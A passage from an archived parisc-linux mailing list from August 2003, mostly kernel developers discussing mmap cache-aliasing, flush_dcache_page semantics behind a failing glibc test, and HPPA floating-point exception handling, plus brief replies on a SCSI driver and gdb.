	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id MAA02424;
	Fri, 22 Aug 2003 12:19:56 -0700
In-Reply-To: <1061578568.2053.313.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19293

On 22 Aug 2003 13:56:06 -0500
James Bottomley <James.Bottomley@SteelEye.com> wrote:

> On Fri, 2003-08-22 at 13:31, David S. Miller wrote:
> > On Fri, 22 Aug 2003 19:34:41 +0100 (BST)
> > Hugh Dickins <hugh@veritas.com> wrote:
> > 
> > > And to me.  If VM_SHARED is set, then __vma_link_file puts the vma on
> > > on i_mmap_shared.  If VM_SHARED is not set, it puts the vma on i_mmap.
> > > flush_dcache_page treats i_mmap_shared and i_mmap lists equally.
> > 
> > But file system page cache writes only call flush_dache_page()
> > if the page has a non-empty i_mmap_shared list.
> 
> Hmm, but if it does that then the glibc bug test should show up on sparc
> because the i_mmap_shared list is empty if we only do MAP_SHARED of read
> only files.

Sparc64's alias'able caches are 1) write-through and 2) quite small.

I think I begin to see the issue clearly now.

But you cannot do the VM_SHARED change without an audit first.
Lots of code thinks that VM_SHARED means someone maybe wrote
to the page through a mmap().  For example look at how filemap
sync interprets this flag bit.


From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly3.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [glibc] fixing delayed exceptions in hppa
Date: Fri, 22 Aug 2003 16:24:19 -0400 (EDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <200308222024.QAA16264@hiauly3.hia.nrc.ca>
References: <20030822144615.GF31872@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622709 29899 80.91.229.3 (22 Nov 2014 02:18:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: carlos@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 14:24:20 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly3.hia.nrc.ca (hiauly3.hia.nrc.ca [132.246.100.195])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5BADF4885
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 14:24:20 -0600 (MDT)
Original-Received: (from dave@localhost)
	by hiauly3.hia.nrc.ca (8.9.3 (PHNE_26305+JAGae58098)/8.9.3) id QAA16264;
	Fri, 22 Aug 2003 16:24:19 -0400 (EDT)
In-Reply-To: <20030822144615.GF31872@systemhalted> from Carlos O'Donell at Aug "22," 2003 "10:46:15" am
X-Mailer: ELM []
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19294

> I took this into account, and the fcpy of a non fr0 is working better
> than before precisely for the reasons you list your original email.
> 
> Should I instead spill the value into memory at dummy's address?

Based on what Jim Hull said, I believe that would be better.  I was using

  "fldd 0(%%sr0,%%sp),%0" : "=f" (d) : "0" (d)

There isn't a true dependency in the above but I believe that any load
to the destination register will raise the exception.

Dave


From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 22 Aug 2003 17:27:33 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <1061591255.1784.636.camel__9015.88865458525$1416622710$gmane$org@mulgrave>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave> 
	<20030822121955.619a14eb.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622710 29901 80.91.229.3 (22 Nov 2014 02:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:30 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 16:27:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CF4A4884
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 16:27:46 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7MMRXI21529;
	Fri, 22 Aug 2003 18:27:34 -0400
In-Reply-To: <20030822121955.619a14eb.davem@redhat.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19295

On Fri, 2003-08-22 at 14:19, David S. Miller wrote:
> Sparc64's alias'able caches are 1) write-through and 2) quite small.
> 
> I think I begin to see the issue clearly now.
> 
> But you cannot do the VM_SHARED change without an audit first.
> Lots of code thinks that VM_SHARED means someone maybe wrote
> to the page through a mmap().  For example look at how filemap
> sync interprets this flag bit.

Yes, the issue seems to be that the flush_dcache_page() was implemented
with the thought that the caches of the shared mappings may contain
modified data that needs to be flushed to the aliased page.

The opposite property: that the caches of the aliased page need to be
invalidated because someone else changed data in the aliased page seems
to work as a byproduct of the above implementation.

But some of the checks for !list_empty(&mapping->i_shared) are going to
prevent the necessary invalidations on read only shared mappings...which
was the initial problem.

The only issue I can see with not dropping VM_SHARED for read only
shared mappings is that we do spurious (but harmless)
flushe_dcache_page() on reads.

There also appears to be a lurking prob lem in do_mremap, where it keys
off the VM_SHARED flag to set the MAP_SHARED flag for
get_unmapped_area.  That's going to cause us a problem on parisc because
SHARED pages need to obey slightly stricter alignment constraints

All in all, I think not dropping VM_SHARED on read only shared mappings
is the right thing to do.

Do you need a more detailed audit?

James




From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "David S. Miller" <davem@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
 tst-mmap-eofsync in glibc on parisc)
Date: Fri, 22 Aug 2003 15:41:00 -0700
Lines: 75
Approved: news@gmane.org
Message-ID: <20030822154100.06314c8e.davem__24496.2933510125$1416622710$gmane$org@redhat.com>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622710 29905 80.91.229.3 (22 Nov 2014 02:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:30 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org, linux-kernel@vger.kernel.org,
	parisc-linux@lists.parisc-linux.org, drepper@redhat.com
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 16:48:33 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pizda.ninka.net (pizda.ninka.net [216.101.162.242])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33B7748FC
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 16:48:33 -0600 (MDT)
Original-Received: from pizda.ninka.net (IDENT:davem@localhost.localdomain [127.0.0.1])
	by pizda.ninka.net (8.9.3/8.9.3) with SMTP id PAA03091;
	Fri, 22 Aug 2003 15:41:00 -0700
In-Reply-To: <1061591255.1784.636.camel@mulgrave>
X-Mailer: Sylpheed version 0.9.2 (GTK+ 1.2.6; sparc-unknown-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19296

On 22 Aug 2003 17:27:33 -0500
James Bottomley <James.Bottomley@SteelEye.com> wrote:

> Yes, the issue seems to be that the flush_dcache_page() was implemented
> with the thought that the caches of the shared mappings may contain
> modified data that needs to be flushed to the aliased page.
> 
> The opposite property: that the caches of the aliased page need to be
> invalidated because someone else changed data in the aliased page seems
> to work as a byproduct of the above implementation.
> 
> But some of the checks for !list_empty(&mapping->i_shared) are going to
> prevent the necessary invalidations on read only shared mappings...which
> was the initial problem.

The theory of operation is that there are two "classes" of mappings
for a page, the implicit kernel mapping and all user mappings.  The
goal is to flush out one class from the cache when the other one writes
to such a page.

When a write() system call occurs, the kernel "class" is writing to
the page so all user mappings (shared or not!) need to be flushed
out.

When a read() system call occurs, and shared+writable mmap()'s of
the page exist, we must flush the user mapping "class" before the
kernel "class" tries to read from that page.

You cannot avoid doing things exactly as I've just described without
allowing bad aliases to be in the cache and corrupt data.

Your test case is essentially, annotated with what the kernel
should do at each step:

	static const char *test1 = "Line the first\n";
	static const char *test2 = "Line the second\n";

	temp_fd = open(O_RDWR);
	write(temp_fd, test1, sizeof test1 - 1);

No mmaps of this page, so no flush_dcache_page() call.

 ...
	fd = open(O_RDONLY);
	p = mmap(fd, ... PROT_READ ...);

Not writable, not added to i_mmap_shared list, instead it is
added to normal i_mmap list.

	memcpy(tmp_buf, p, sizeof test1 - 1);
	p += sizeof test1 - 1;
	if (strcmp(tmp_buf, test1))
		BUG();
	...
	write(temp_fd, test2, sizeof test2 - 1);

Mmaps of this page exist, flush_dcache_page() call is made.

	memcpy(tmp_buf, p, sizeof test2 - 1);
	if (strcmp(tmp_buf, test2))
		BUG();

And thus memcpy() sees correct data.

I think on parisc you are trying to avoid the write() case
of the cache flush for non-shared mmap()s, and sorry you
really can't do this, again this is:

	When a write() system call occurs, the kernel "class" is writing to
	the page so all user mappings (shared or not!) need to be flushed
	out.

If your flush_dcache_page() is not doing this, it's no wonder
the test case fails for you.


From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Problems with kernel mmap (failing
	tst-mmap-eofsync in glibc on parisc)
Date: 22 Aug 2003 20:09:30 -0500
Lines: 38
Approved: news@gmane.org
Message-ID: <1061600974.2090.809.camel__11627.7249101133$1416622710$gmane$org@mulgrave>
References: <20030822110144.5f7b83c5.davem@redhat.com>
	<Pine.LNX.4.44.0308221926060.2200-100000@localhost.localdomain>
	<20030822113106.0503a665.davem@redhat.com>
	<1061578568.2053.313.camel@mulgrave>
	<20030822121955.619a14eb.davem@redhat.com>
	<1061591255.1784.636.camel@mulgrave> 
	<20030822154100.06314c8e.davem@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622710 29908 80.91.229.3 (22 Nov 2014 02:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:30 +0000 (UTC)
Cc: hugh@veritas.com, willy@debian.org,
	Linux Kernel <linux-kernel@vger.kernel.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>, drepper@redhat.com
To: "David S. Miller" <davem@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 19:09:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B6534900
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 19:09:45 -0600 (MDT)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com [172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h7N19WI28082;
	Fri, 22 Aug 2003 21:09:32 -0400
In-Reply-To: <20030822154100.06314c8e.davem@redhat.com>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19297

On Fri, 2003-08-22 at 17:41, David S. Miller wrote:
> I think on parisc you are trying to avoid the write() case
> of the cache flush for non-shared mmap()s, and sorry you
> really can't do this, again this is:
> 
> 	When a write() system call occurs, the kernel "class" is writing to
> 	the page so all user mappings (shared or not!) need to be flushed
> 	out.
> 
> If your flush_dcache_page() is not doing this, it's no wonder
> the test case fails for you.

Yes, that's precisely what we're trying to do.  Our problem is that we
have to issue the flush to all the aliased addresses (one cache line at
a time) which is phenomenally expensive.

What we were hoping is that we could rely on this little property of
mmap:

       MAP_PRIVATE
                  Create a private copy-on-write mapping.  Stores
                  to the region do not affect the original  file.
                  It  is  unspecified whether changes made to the
                  file after the mmap call  are  visible  in  the
                  mapped region.

To avoid having to flush the non-shared mappings (basically on parisc if
you write to a file backing a MAP_PRIVATE mapping then we don't
guarantee you see the update).

I suppose if we had a way of telling if any of the i_mmap list members
were really MAP_SHARED semantics mappings, then we could alter our
flush_dcache_page() implementation to work.

James




From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] sym53c8xx_2 development
Date: Fri, 22 Aug 2003 23:43:22 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20030823054322.GA20158@dsl2.external.hp.com>
References: <20030821211932.GC19630@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622710 29912 80.91.229.3 (22 Nov 2014 02:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:30 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 23:43:22 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id D734A48D1; Fri, 22 Aug 2003 23:43:22 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030821211932.GC19630@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19298

On Thu, Aug 21, 2003 at 10:19:32PM +0100, Matthew Wilcox wrote:
> 
> Hi.  I've got some changes for the sym53c8xx_2 driver I'm working on.
> Does anyone object to me working on them in the parisc 2.6 tree?

I don't think enough people are *using* 2.6 for anything serious
for that to be a problem. And I'm ok if you warn before committing
stuff which isn't at least lightly tested.

> We've done this kind of thing before (eg with the pcnet32 driver in 2.4)

and I've done it with several other drivers as well (eg tg3, acenic).

> but since every PCI-based parisc box uses sym53c8xx_2 for its scsi,
> I didn't feel it was appropriate to inflict potentially-buggy changes
> on everyone without a little bit of discussion.

cool - thanks!
grant


From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: [glibc] fixing delayed exceptions in hppa
Date: Sat, 23 Aug 2003 01:55:06 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <20030823055506.GA9821@systemhalted>
References: <20030822144615.GF31872@systemhalted> <200308222024.QAA16264@hiauly3.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622711 29919 80.91.229.3 (22 Nov 2014 02:18:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, dave.anglin@nrc-cnrc.gc.ca
To: John David Anglin <dave@hiauly3.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 22 23:56:10 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31DFF4905
	for <parisc-linux@lists.parisc-linux.org>; Fri, 22 Aug 2003 23:56:10 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 19qRMh-0004Nn-00; Sat, 23 Aug 2003 01:55:07 -0400
Content-Disposition: inline
In-Reply-To: <200308222024.QAA16264@hiauly3.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (78% Sync Ratio [========..])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19299

On Fri, Aug 22, 2003 at 04:24:19PM -0400, John David Anglin wrote:
> Based on what Jim Hull said, I believe that would be better.  I was using
> 
>   "fldd 0(%%sr0,%%sp),%0" : "=f" (d) : "0" (d)
> 
> There isn't a true dependency in the above but I believe that any load
> to the destination register will raise the exception.

Dave, I'm sorry if you sent me a patch and I dropped it :( Did I ever
receive a diff for this from you?

It's rather vague at times because the spec says "or an operation which
depends on a pending, trapping insn." I think DHD, and perhaps myself
got caught up on the "load or store" which probably means only
register->memory (memory->register too) and not register->register.

I'll rewrite this patch to do an fldd and see what the tests say. I'm
toatally under the assumption that this operation doesn't need to be
optimal :) (e.g. If you use feraiseexcept a lot you are not a
high-performance program).

c.


From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Help: Need instruction sequence for gdb breakpoint
Date: Sat, 23 Aug 2003 00:21:39 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20030823062139.GA20379@dsl2.external.hp.com>
References: <3F6F4712B759A34ABD453A8B39C10D62DEEC97@bagman.edm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622711 29923 80.91.229.3 (22 Nov 2014 02:18:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Lev Assinovsky <LAssinovsky@algorithm.aelita.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 00:21:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 2E0F84909; Sat, 23 Aug 2003 00:21:39 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <3F6F4712B759A34ABD453A8B39C10D62DEEC97@bagman.edm.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19300

On Fri, Aug 22, 2003 at 09:13:37PM +0400, Lev Assinovsky wrote:
> Hi!
> 1. I meant just a hardcoded breakpoint (not hardware)
> Partially works just BREAK 4, 8. Though I need to do "jump" to next line 
> to continue in gdb.

ah ok 
> 2. gdb doesn't work with shared libraries explicitly loaded by program.
> Could you please point to anybody from HP team?

HP Team? Sorry but officially there is no HP parisc-linux team.
Most of us are interested in kernel hacking and less in
making gdb work.

> 3. What about ddd?

sorry - haven't looked at ddd.

grant


From - Thu Nov 08 21:28:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: palo
Date: Sat, 23 Aug 2003 00:26:12 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030823062612.GB20379@dsl2.external.hp.com>
References: <1245099799.20030822174107@tatneft.ru> <20030822160820.GA18112@ldl.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622711 29925 80.91.229.3 (22 Nov 2014 02:18:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:18:31 +0000 (UTC)
Cc: ??????? ??????? <almetoil@tatneft.ru>,
	parisc-linux@lists.parisc-linux.org
To: dann frazier <dannf@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 23 00:26:12 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 607AB490F; Sat, 23 Aug 2003 00:26:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030822160820.GA18112@ldl.fc.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
